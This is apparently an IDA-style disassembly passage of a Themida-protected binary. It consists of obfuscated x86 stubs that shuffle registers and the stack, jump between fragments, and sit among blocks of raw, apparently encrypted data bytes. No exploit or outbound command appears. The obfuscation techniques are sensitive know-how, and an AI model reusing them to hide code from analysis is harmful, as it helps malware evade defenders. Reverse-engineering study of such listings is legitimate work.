		sub	edx, 7A0B1E57h
		add	edx, 5819669Ch
		shr	edx, 3
		not	edx
		shl	edx, 7
		add	edx, 0CC063836h
		jmp	loc_55F61E
; ---------------------------------------------------------------------------
		db 30h
		dd 240C8BCAh, 4C481h, 0C2800000h, 0E9D50855h, 0FFFF8ACBh
		dd 940E83BEh, 39B6E96Ah, 0F8000000h, 5B2434FFh,	61C6E9h
		dd 8EC68100h, 584EAF75h, 0FFEBA2E9h, 0E3D143FFh, 0F58E381h
		dd 0EB817F63h, 1410C54h, 0FFF679E9h, 0E18951FFh, 4C181h
		dd 0E9830000h, 240C3304h, 0E9240C31h, 3D88h
; ---------------------------------------------------------------------------


loc_55C2CC:				; CODE XREF: Themida_:00550C3Fj
		pop	esp
		push	ebx
		jmp	loc_5610D3
; ---------------------------------------------------------------------------
		db 1
aS9		db '`9',0
		align 2
		dw 5866h
		dd 4EC81h, 0C890000h, 0FF1AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C2EA:				; CODE XREF: Themida_:00562FEDj
		xchg	ebx, esi
		jmp	loc_556399
; ---------------------------------------------------------------------------
		db 9, 0D1h, 0E9h
		dd 0FFFFB9EBh, 5AF028h,	685804D8h, 58ADh, 0FF8ED9E9h, 0E68956FFh
		dd 4C681h, 0EE830000h, 74FF5604h, 348B0424h, 4C48124h
		dd 8F000000h, 248B2404h, 240C8924h, 2E9E189h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C333:				; CODE XREF: Themida_:0056272Ej
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55C8F5
; ---------------------------------------------------------------------------
		dd 0BD7365BBh, 0E9DBF741h, 5E57h
; ---------------------------------------------------------------------------


loc_55C350:				; CODE XREF: Themida_:0055D6ADj
		push	esi
		jmp	loc_55822B
; ---------------------------------------------------------------------------


loc_55C356:				; CODE XREF: Themida_:00553480j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55C3CF
; ---------------------------------------------------------------------------


loc_55C361:				; CODE XREF: Themida_:0055ACB1j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_551D47
; ---------------------------------------------------------------------------
		db 0B9h, 7Fh, 33h
dword_55C374	dd 0E1817392h, 6F58457Eh, 3D82C181h, 0CF01BF7Ah, 81CF2959h
					; DATA XREF: Themida_:0055CBB0o
		dd 8A3F00EFh, 0E95922h,	51FFFFCDh, 5D40E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C399:				; CODE XREF: Themida_:005513EEj
		push	eax
		jmp	loc_54FC1B
; ---------------------------------------------------------------------------


loc_55C39F:				; CODE XREF: Themida_:00561849j
		pop	edi
		jmp	loc_55068B
; ---------------------------------------------------------------------------
aVsk		db 'Vk*',0
		dw 0B800h
		dd 11AD0DF4h, 1C79FE0Dh, 14E2256Bh, 0D0F754FEh,	0FFF8DDE9h
		dd 243433FFh, 8924248Bh, 0AEE92414h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C3CF:				; CODE XREF: Themida_:0055C35Cj
		push	72ACh
		mov	[esp], edx
		jmp	loc_554D07
; ---------------------------------------------------------------------------


loc_55C3DC:				; CODE XREF: Themida_:0055B479j
		mov	esp, [esp]
		sub	ecx, 4
		jmp	loc_55BEB8
; ---------------------------------------------------------------------------
a_sut		db '_T',0
		dd 4C48300h, 8B243C87h,	4D22424h, 17E99C24h, 0BAFFFF34h
		dd 1B124C56h, 5CACEA81h, 0EA814AEEh, 3DCC43E4h,	0A8E9D501h
		dd 5BFFFF86h, 4C381h, 0A2E90000h, 35FFFFD0h, 39248111h
		dd 2CE9C101h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C42F:				; CODE XREF: Themida_:0055DCB9j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55FE06
; ---------------------------------------------------------------------------


loc_55C43A:				; CODE XREF: Themida_:0055DE61j
		add	ch, dl
		jmp	loc_556BB7
; ---------------------------------------------------------------------------
aS_7		db '[</',0
		dw 0C100h
		dd 0EC8105E0h, 4, 68243C89h, 1A7841F1h,	3FADE95Fh, 0C381FFFFh
		dd 0A254620h, 0FF4625E9h, 405FFh, 0C0830000h, 24048704h
		dd 242C335Ch, 33242C31h, 248B242Ch, 63C0E924h, 87580000h
		dd 0A2E9242Ch, 5AFFFF46h, 4205E2C1h, 10A5F281h,	0D58922E4h
		dd 5DEA295Ah, 31241433h, 14332414h, 4895C24h, 4B824h, 0B8500000h
		dd 79C661BEh, 3E23A02Dh, 57E6E97Eh, 8B66FFFFh, 8951240Ch
		dd 4EC81E1h, 89000000h,	57BA2414h, 81514D1Ch, 4D1C53EAh
		dd 6DC18151h, 813E5454h, 3F30B6E9h, 68D1013Eh, 119Eh, 0B8240489h
		dd 3E3F30B6h, 58F6C181h, 0C1015C3Fh, 6602E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C505:				; CODE XREF: Themida_:0055B3E4j
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 2
		jmp	loc_55897A
; ---------------------------------------------------------------------------


loc_55C51F:				; CODE XREF: Themida_:005567EAj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		push	2906h
		jmp	loc_5508BF
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0D8280000h, 6602EC83h, 0E9241489h, 0FFFF392Ch
		dd 0FFFFC281h, 0BF57FFFFh, 0C5854782h, 67DBC281h, 47E93004h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C563:				; CODE XREF: Themida_:0055A3B7j
		push	ebp
		mov	ebp, 1
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_562BC5
; ---------------------------------------------------------------------------


loc_55C58B:				; CODE XREF: Themida_:0054FA5Ej
		pop	ecx
		xor	ebp, 5830358Fh
		mov	ecx, ebp
		pop	ebp
		push	esi
		push	eax
		push	ebp
		jmp	loc_551783
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 24248B24h, 240C8966h, 0FF4FA3E9h, 243C87FFh,	0FFE72BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C5B5:				; CODE XREF: Themida_:005633CFj
		mov	esi, 30477F25h
		jmp	loc_551B05
; ---------------------------------------------------------------------------


loc_55C5BF:				; CODE XREF: Themida_:0055E5D2j
		pop	cx
		jmp	loc_55BE50
; ---------------------------------------------------------------------------
aFqAI		db 'fQ]i',0
		dw 80EEh
		dd 596669EEh, 0C0D3F680h, 0DEF606EEh, 71B15166h, 5966CE28h
		dd 285AF388h, 241C8BD8h, 0FF6379E9h, 243C33FFh,	4FDDE95Ch
		dd 2C33FFFFh, 242C3124h, 0FF92CDE9h, 5A25BAFFh,	0F2813D1Eh
		dd 53F35630h, 2F1FBF57h, 0FA310062h, 0DDBE9h, 2BF28100h
		dd 81389974h, 0CA5659EAh, 8BD0013Ah, 0C4832414h, 1D4E6804h
		dd 14890000h, 0E0BF5724h, 0E92B710Bh, 0FFFF8B37h, 5F2434FFh
		dd 483A68h, 241C8900h, 0C381E389h, 4, 0FFDCC6E9h, 4BAFFh
		dd 5BE90000h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C667:				; CODE XREF: Themida_:0055BA47j
		add	eax, ebx
		jmp	loc_5576B4
; ---------------------------------------------------------------------------
		dw 0C580h
		dd 0E9DD0092h, 0FFFFA69Dh, 4B8h, 58C52900h, 5C242C87h
		dd 60E8E9h, 2CEA8100h, 813E1900h, 9C3D35EAh, 0A2ACE907h
		dd 0D029FFFFh, 0DC13BB2Dh, 5AE95A69h, 89000039h, 44815EF3h
		dd 63610424h, 5C01328Eh, 0BDE90424h, 83000067h,	40E904C0h
		dd 0FF000032h, 815D2434h, 4C4h,	8BD83100h, 5451241Ch, 7C846859h
		dd 14890000h, 46C46824h, 0CDE90000h, 68FFFFB0h,	504h, 0B4240489h
		dd 0C3C4809Ah, 8083C480h, 15E987C4h, 8BFFFFB0h,	0B7532424h
		dd 2CAB04A8h, 52F80090h, 0E903B050h, 4C42h
; ---------------------------------------------------------------------------


loc_55C714:				; CODE XREF: Themida_:0055F098j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_551ADB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 56E92434h, 81FFFF50h, 13296AF2h, 7F28141h, 2934B754h
		dd 0DDE95AD7h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C73B:				; CODE XREF: Themida_:0055D971j
		add	ebp, 4
		jmp	loc_562834
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 2434FF5Ch, 0E92434FFh, 1BF7h, 5B5368h, 24248900h
		dd 0F6E95251h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C767:				; CODE XREF: Themida_:0054FE1Cj
		pop	edi
		add	esp, 4
		jmp	loc_55D3DD
; ---------------------------------------------------------------------------
		db 5
		dd 4, 8704C083h, 0E95C2404h, 0FFFF3092h, 0EAC1E2D1h, 0E9555602h
		dd 0FFFF85F5h, 0E924248Bh, 0FFFFDB47h
; ---------------------------------------------------------------------------


loc_55C798:				; CODE XREF: Themida_:00559200j
		add	edi, 4
		push	2544h
		mov	[esp], eax
		mov	eax, 3E16CEDh
		xor	eax, 24234EB2h
		shr	eax, 4
		jmp	loc_54FDDC
; ---------------------------------------------------------------------------
		dd 72690F05h, 0D50A354Ch, 0C689C71Bh, 8124048Bh, 4C4h
		dd 3E6C100h, 574DEE81h,	0C68102B4h, 0FF6B7679h,	0FFE398E9h
		dd 0C8B60FFFh, 0BCF6856h, 0E9540000h, 81B3h, 4EE81h, 80E90000h
		dd 33FFFF31h, 0C35C242Ch, 0FF3011E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C805:				; CODE XREF: Themida_:00551D4Aj
		mov	esp, [esp]
		shr	ecx, 0
		or	eax, eax
		jz	loc_55619F
		push	31C2h
		mov	[esp], ebx
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55A91B
; ---------------------------------------------------------------------------
		db 0B8h, 0D6h, 2
		dd 0B8E945A1h, 0FFFF7Ah, 0CE2C5AD0h, 0CE04D828h, 45B322Ch
		dd 96B6E940h, 0BE66FFFFh, 16678CEh, 348B66F0h, 0E1895124h
		dd 0FF6F04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C859:				; CODE XREF: Themida_:005568D7j
		add	esp, 4
		push	6156h
		mov	[esp], ebp
		jmp	loc_555C1D
; ---------------------------------------------------------------------------


loc_55C869:				; CODE XREF: Themida_:00551B98j
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55D0D3
; ---------------------------------------------------------------------------


loc_55C878:				; CODE XREF: Themida_:0055626Fj
		neg	edx
		xchg	edx, ecx
		push	575Ah
		mov	[esp], edx
		push	544E0ABBh
		jmp	loc_55B799
; ---------------------------------------------------------------------------


loc_55C88E:				; CODE XREF: Themida_:00557191j
		sub	ebp, eax
		pop	eax
		not	ebp
		add	ebp, 0C4BA39DFh
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		push	esp
		jmp	loc_556343
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 0E91D0F39h, 9DE9EB89h, 80FFFF5Dh, 686609F6h,	34280000h
		dd 24348A24h, 8002C483h, 3968FFC6h, 8900005Fh, 12B1240Ch
		dd 97B25266h, 5A66D128h, 8059CE20h, 0F00028EEh,	5A2434FFh
		dd 2162E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C8F5:				; CODE XREF: Themida_:0055C33Fj
		mov	[esp], eax
		mov	eax, 665A5D6Eh
		jmp	loc_560305
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4BB24h, 0E9810000h, 4FB20582h, 0C181D901h, 4FB20582h
		dd 0BC8DE95Bh, 815BFFFFh, 6032FC1h, 56C1014Ch, 211835BEh
		dd 0E6814E4Fh, 419C3D1Fh, 2257EE81h, 0C6817EA2h, 89A80D72h
		dd 585EF129h, 8124048Bh, 4C4h, 8BC82900h, 0C483240Ch, 6EE7E904h
		dd 0EC810000h, 4, 81240489h, 4ECh, 4ABAE900h, 0E9580000h
		dd 5204h
; ---------------------------------------------------------------------------


loc_55C974:				; CODE XREF: Themida_:00553AE7j
		pop	edi
		jmp	loc_558FA6
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0FFEE4FE9h, 38E9ACFFh, 1FFFFABh, 0C7895AD0h, 0FFE376E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C995:				; CODE XREF: Themida_:0055B8B5j
		sub	edx, ecx
		push	ebx
		mov	ebx, 4AB13FBAh
		sub	edx, ebx
		pop	ebx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 151D1512h
		push	edx
		push	esi
		push	5F325122h
		jmp	loc_55EDEA
; ---------------------------------------------------------------------------
		db 0F6h
		dd 80DDF6D5h, 0E2E9E4CDh
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9CF:				; CODE XREF: Themida_:00552EB9j
		shl	edx, 1
		push	esi
		push	ebx
		jmp	loc_552A3B
; ---------------------------------------------------------------------------
		dd 2C8BEE89h, 0E7895724h, 4C781h, 0C7810000h, 4, 0FFF50AE9h
		dd 64C68FFh, 8F540000h,	18682404h, 89000058h, 4B82404h
		dd 1000000h, 8B042444h,	0C4812404h, 4, 4C18159h, 81000000h
		dd 4C1h, 53D2E900h, 0FA890000h,	81243C8Bh, 4C4h, 8BD60100h
		dd 0C4832414h, 4C68304h, 351A68h, 24348900h, 42474FFh
		dd 8324348Bh, 48F04C4h,	0CE0E924h, 74FF0000h, 0E95F0424h
		dd 0FFFF3069h, 8B24048Fh, 0E0E92424h, 5F000011h, 0A402D48h
		dd 0EE811946h, 6DE44850h, 0C681C629h, 6DE44850h, 4BBF5758h
		dd 129FD39h, 0EC835FFEh, 243C8904h, 0AC00C2BFh,	1C3EE952h
		dd 0D0300000h, 8124148Bh, 4C4h,	0EC835100h, 24048904h
		dd 0D08667B0h, 0D086DAF6h, 0EE9D0F6h, 51000080h, 0B7F39B9h
		dd 0E9D1F769h, 0FFFFD7A0h
; ---------------------------------------------------------------------------


loc_55CAC8:				; CODE XREF: Themida_:00563FB2j
		add	edi, 0D5D91080h
		sub	ebx, edi
		pop	edi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebx, 4
		jmp	loc_553D37
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF2FC3h
; ---------------------------------------------------------------------------


loc_55CAEC:				; CODE XREF: Themida_:0055F8B8j
		sub	edi, 64C271EEh
		jmp	loc_550FF7
; ---------------------------------------------------------------------------


loc_55CAF7:				; CODE XREF: Themida_:00551597j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55B200
; ---------------------------------------------------------------------------


loc_55CB06:				; CODE XREF: Themida_:0055B580j
		sub	eax, edi
		add	eax, 611A2706h
		add	eax, 315043C2h
		pop	edi
		sub	eax, 60F4654Ah
		sub	eax, 7FAE5455h
		add	eax, edi
		add	eax, 7FAE5455h
		jmp	loc_550383
; ---------------------------------------------------------------------------
		db 68h,	0FCh, 22h
		dd 40585954h, 2DD8F740h, 466A7877h, 4A58C289h, 3DAEA81h
		dd 4242197Eh, 6FE3EA81h, 0DE961F3h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB4F:				; CODE XREF: Themida_:0056368Bj
		xor	bl, 1Ah
		sub	cl, bl
		pop	ebx
		add	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		push	small 5AE6h
		mov	[esp], ax
		mov	al, 31h
		dec	al
		add	al, 0E3h
		xor	al, 0FAh
		push	ebx
		mov	bl, 9Fh
		jmp	loc_557C45
; ---------------------------------------------------------------------------
		dd 815FFA89h, 395CE6F2h, 0FBA1E972h, 0B30CFFFFh, 334D0F6h
		dd 88539C34h, 5BDE88C3h, 8E0FE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB9A:				; CODE XREF: Themida_:0055BF97j
		sub	ebp, edx
		add	ebp, 4B0F44C6h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55011B
; ---------------------------------------------------------------------------
		db 80h,	0F1h, 0A7h
		dd offset dword_55C374+0Ch
		dd 55EB80CBh, 0E9240C8Bh, 0FFFFE8EAh, 20E9E821h, 8BFFFF3Eh
		dd 74E92414h, 5D000066h, 8704C683h, 0E95C2434h,	0FFFFBE65h
		dd 835FFE01h, 348704C6h, 0C0835C24h, 38826804h,	4890000h
		dd 2474FF24h, 24048B04h, 0FF7178E9h, 73C781FFh,	2915FF11h
		dd 73EF81DFh, 0E915FF11h, 0FFFFD789h
; ---------------------------------------------------------------------------


loc_55CC10:				; CODE XREF: Themida_:00562064j
		pop	ecx
		add	eax, edi
		add	eax, 5D941019h
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		jmp	loc_561AAF
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
		dd 0E902B724h, 0FFFF4BDBh
; ---------------------------------------------------------------------------


loc_55CC30:				; CODE XREF: Themida_:00551B0Bj
		shl	esi, 4
		neg	esi
		jmp	loc_55157B
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0E46D06EBh, 50FB2948h, 234A47B8h, 49BF5763h,	0F7556632h
		dd 0FAC781D7h, 98088ABh, 0F8E95FF8h, 0FF00003Fh, 669D1C77h
		dd 4116658h, 0BBE99C24h, 55FFFFF1h, 0E9595D51h,	0FFFF2BB5h
; ---------------------------------------------------------------------------


loc_55CC78:				; CODE XREF: Themida_:0055E37Fj
		mov	ecx, 741C3CA4h
		add	ecx, 2A277DCDh
		sub	ecx, 2DF03F1Ch
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		dec	ecx
		jmp	loc_55385E
; ---------------------------------------------------------------------------
		dd 513BC780h, 7E9FD88h,	31FFFFC2h, 14332414h, 24248B24h
		dd 6609B652h, 0E6B15153h, 0FFD897E9h, 0C8B66FFh, 65E5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CCBE:				; CODE XREF: Themida_:00554579j
		or	eax, eax
		jz	loc_555699
		push	dword ptr [edi+1Ch]
		jmp	loc_563C67
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 592434FFh, 4C481h, 0E9550000h, 0FFFF2FECh, 7AE93FB2h
		dd 1FFFFCAh, 0E99C2404h, 5F8Bh,	8B59EA88h, 0C4812404h
		dd 4, 148BD000h, 61236824h, 0C890000h, 55595424h, 0EA5FE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD12:				; CODE XREF: Themida_:0055B465j
		add	ecx, edi
		add	ecx, 0B8A2CC1h
		push	dword ptr [esp]
		jmp	loc_55DD5D
; ---------------------------------------------------------------------------


loc_55CD22:				; CODE XREF: Themida_:00552411j
		push	ecx
		jmp	loc_552F4D
; ---------------------------------------------------------------------------


loc_55CD28:				; CODE XREF: Themida_:00561DA7j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		jmp	loc_55A119
; ---------------------------------------------------------------------------
		db 53h
		dd 4E3D98BBh, 0DA895256h, 56D68956h, 13242C81h,	5D0D0914h
		dd 1413C581h, 45E90D09h, 56FFFFDCh, 0C61D22BEh,	32C0E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD62:				; CODE XREF: Themida_:loc_55F6F7j
					; Themida_:0055F860j
		push	4F00h
		mov	[esp], edi
		push	ebx
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_55986F
; ---------------------------------------------------------------------------
aUsU		db 'U U',0
		db 0
; ---------------------------------------------------------------------------


loc_55CD7B:				; CODE XREF: Themida_:0055EEFEj
		pop	ecx
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 5F2FB6BBh, 0C9CB8137h, 81513521h, 0B2076DE3h, 81434B1Fh
		dd 5D8BD0EBh, 5BDE29FFh, 0FFF902E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CDA5:				; CODE XREF: Themida_:0055179Cj
		shr	eax, 10h
		xor	eax, ecx
		push	34FEh
		mov	[esp], eax
		jmp	loc_55B0AF
; ---------------------------------------------------------------------------


loc_55CDB7:				; CODE XREF: Themida_:0055F87Bj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_55F723
; ---------------------------------------------------------------------------
		dd 4240483h, 0E924148Bh, 4C2Bh,	7DA6EB81h, 148B6AB2h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 4B951h, 6E90000h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CDF7:				; CODE XREF: Themida_:00564887j
		sub	[esp], edi
		pop	edi
		not	edi
		sub	edi, 75B5B02h
		push	ecx
		jmp	loc_564B24
; ---------------------------------------------------------------------------


loc_55CE09:				; CODE XREF: Themida_:005562A0j
		shr	eax, 2
		sub	eax, 41773AF6h
		or	eax, 4ABF5986h
		inc	eax
		and	eax, 790F5F34h
		sub	eax, 480F5D2Ch
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		jmp	loc_561B41
; ---------------------------------------------------------------------------
		dd 0E9242C87h, 4618h, 33241C31h, 575C241Ch, 42474FFh, 24048F5Fh
		dd 0FFA37FE9h, 24F381FFh, 0C1537F14h, 0BA5208E3h, 9CA09CB0h
		dd 13E9D331h, 89FFFFF3h, 4BA2414h, 81000000h, 0BD4B3BE9h
		dd 81D1015Bh, 0BD4B3BC1h, 24148B5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5615AA
; ---------------------------------------------------------------------------
		dd 4FE932FFh
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CEC7:				; CODE XREF: Themida_:0056404Ej
		not	ecx
		jmp	loc_56418C
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 29456E24h, 0C5815D33h, 3329456Eh, 43B8505Bh,	0E9034E31h
		dd 2DEAh
; ---------------------------------------------------------------------------


loc_55CEE8:				; CODE XREF: Themida_:005536A7j
		add	edx, ebx
		jmp	loc_551A99
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 8B243C87h, 66642424h,	8CE90289h, 0B9FFFFA7h
		dd 2AE255C0h, 0FF8B61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CF11:				; CODE XREF: Themida_:00553353j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_554069
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 77h
		dd 68709A05h, 9D284DC3h, 58C3015Bh, 69A7C381h, 4BE97DBDh
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF3F:				; CODE XREF: Themida_:005526D8j
		mov	[esp], ebp
		jmp	loc_56077C
; ---------------------------------------------------------------------------
		db 30h
		dd 1C8B66FEh, 2C48124h,	0E9000000h, 0FFFF48A9h,	68241489h
		dd 70717DFFh, 8324148Bh, 0C0E904C4h, 5F000046h,	6ACAE9h
		dd 2766B800h, 0D0F71494h, 0F0114E35h, 362D054Dh, 0C1015964h
		dd 4C18158h, 87000000h,	99E9240Ch, 58FFFF36h, 8108E3C1h
		dd 81CEB2EBh, 0CC581FEh, 2937DB19h, 8C7DE9DDh, 15FFFFFh
		dd 61F1E9E8h, 3C8B0000h, 0E7895724h, 4C781h, 0C7830000h
		dd 74E95704h, 0BBFFFFF1h, 7CF73AA8h, 2446E381h,	0E3811EC1h
		dd 51586D32h, 2001EB81h, 0D9011040h, 4EC815Bh, 89000000h
		dd 43BB241Ch, 0E943EF51h, 71F3h, 240CFF53h, 0A8F6E95Bh
		dd 0C581FFFFh, 48916016h, 418BE9h, 98C68000h, 8B5AF000h
		dd 0F8E9241Ch, 5B000072h, 1E7BED81h, 63E9016Bh,	29FFFFF4h
		dd 0B4B951DAh, 411C3049h, 0E901C183h, 443Ch, 241C895Ch
		dd 663EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D03D:				; CODE XREF: Themida_:00555165j
		pop	ecx
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4812404h, 424h, 24048B00h, 0E9E08950h, 0FFFFDA75h, 241C895Ch
		dd 5B47E5BBh, 0A74E911h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D066:				; CODE XREF: Themida_:00564121j
		add	esp, 4
		jmp	loc_564C39
; ---------------------------------------------------------------------------
		dw 0FA30h
		dd 1DEBE95Bh, 4870000h,	87D0F724h, 0C8B2404h, 4C48324h
		dd 5E240C87h, 55D6F74Eh, 0FFF048E9h, 0DCC681FFh, 8116B740h
		dd 0A1B63E6h, 2BCE8109h, 816A0B1Ah, 45243EEEh, 0E9F72998h
		dd 0FFFFAC8Fh, 6602EC83h, 0E9240C89h, 58FBh, 1FE268h, 243C8900h
		dd 5A285FBFh, 2863681Fh, 67E91F5Ah
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D0D3:				; CODE XREF: Themida_:0055C873j
		mov	ecx, 1AE74711h
		sub	ecx, 0FFFFFFFFh
		push	2F74h
		jmp	loc_561452
; ---------------------------------------------------------------------------
		dd 2502D9BFh, 2E7C169h,	935EEF81h, 0F8296505h, 5F8015Fh
		dd 3F8E7806h, 0B84E242Dh, 0F53AE97Ah, 0BE56FFFFh, 7C1770B8h
		dd 8F4CC681h, 0D8E983E8h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D11B:				; CODE XREF: Themida_:0055B55Bj
		xor	ecx, ebx
		pop	ebx
		jmp	loc_564D20
; ---------------------------------------------------------------------------
		db 29h
		dd 335A58C6h, 34312434h, 24343324h, 2434FF5Ch, 0EC835558h
		dd 24248904h, 4240481h,	5D000000h, 0FF5A16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D149:				; CODE XREF: Themida_:0055A2BFj
		pop	edx
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 3A027882h
		add	ebx, esi
		sub	ebx, 3A027882h
		jmp	loc_553B77
; ---------------------------------------------------------------------------
		dd 0B1E9D9F7h, 5EFFFF76h, 4C481h, 0ACE90000h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D17B:				; CODE XREF: Themida_:0055A682j
		push	eax
		mov	eax, 4
		jmp	loc_5510CD
; ---------------------------------------------------------------------------


loc_55D186:				; CODE XREF: Themida_:00559E54j
		add	ecx, 1
		or	ecx, 77A3FC3h
		jmp	loc_555AEF
; ---------------------------------------------------------------------------


loc_55D197:				; CODE XREF: Themida_:0055FA2Aj
		add	ebp, edi
		pop	edi
		push	767Dh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_553468
; ---------------------------------------------------------------------------
		dd 66C80166h, 666C872Dh, 54E9E959h, 4FE9FFFFh, 0B7FFFF26h
		dd 80E7D0E1h, 80E96AC7h, 0F700004Ah, 5FCEE9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D1DA:				; CODE XREF: Themida_:0054FE73j
		sub	edx, 776C314Ch
		shr	edx, 1
		jmp	loc_55A462
; ---------------------------------------------------------------------------
		db 89h
		dd 0D7E9241Ch
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D1EF:				; CODE XREF: Themida_:0055F37Ej
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_553587
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 0E9h
		dd 4B53h, 4BBh,	78B85000h, 29401E26h, 0DE0158C6h, 2678C681h
		dd 815B401Eh, 4C6h, 24343300h, 0FFC5A8E9h, 240C33FFh, 0F624248Bh
		dd 0B60F66E1h, 14D668CCh, 2C890000h, 81E58924h,	4C5h, 7EE95600h
		dd 0D300001Bh, 0E99C240Ch, 7769h, 81EB874Dh, 0FE3513E3h
		dd 4EC8136h, 89000000h,	6DBF243Ch, 81278745h, 0C3737ECFh
		dd 0F3F7811Bh, 0F771786Fh, 0E9D7F7D7h, 0FFFF7A5Ch, 4C381h
		dd 1C870000h, 34FF5C24h, 0C4815B24h, 4,	0FFE3DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D2AD:				; CODE XREF: Themida_:00552247j
		pop	edi
		jmp	loc_5627CE
; ---------------------------------------------------------------------------
		db 55h
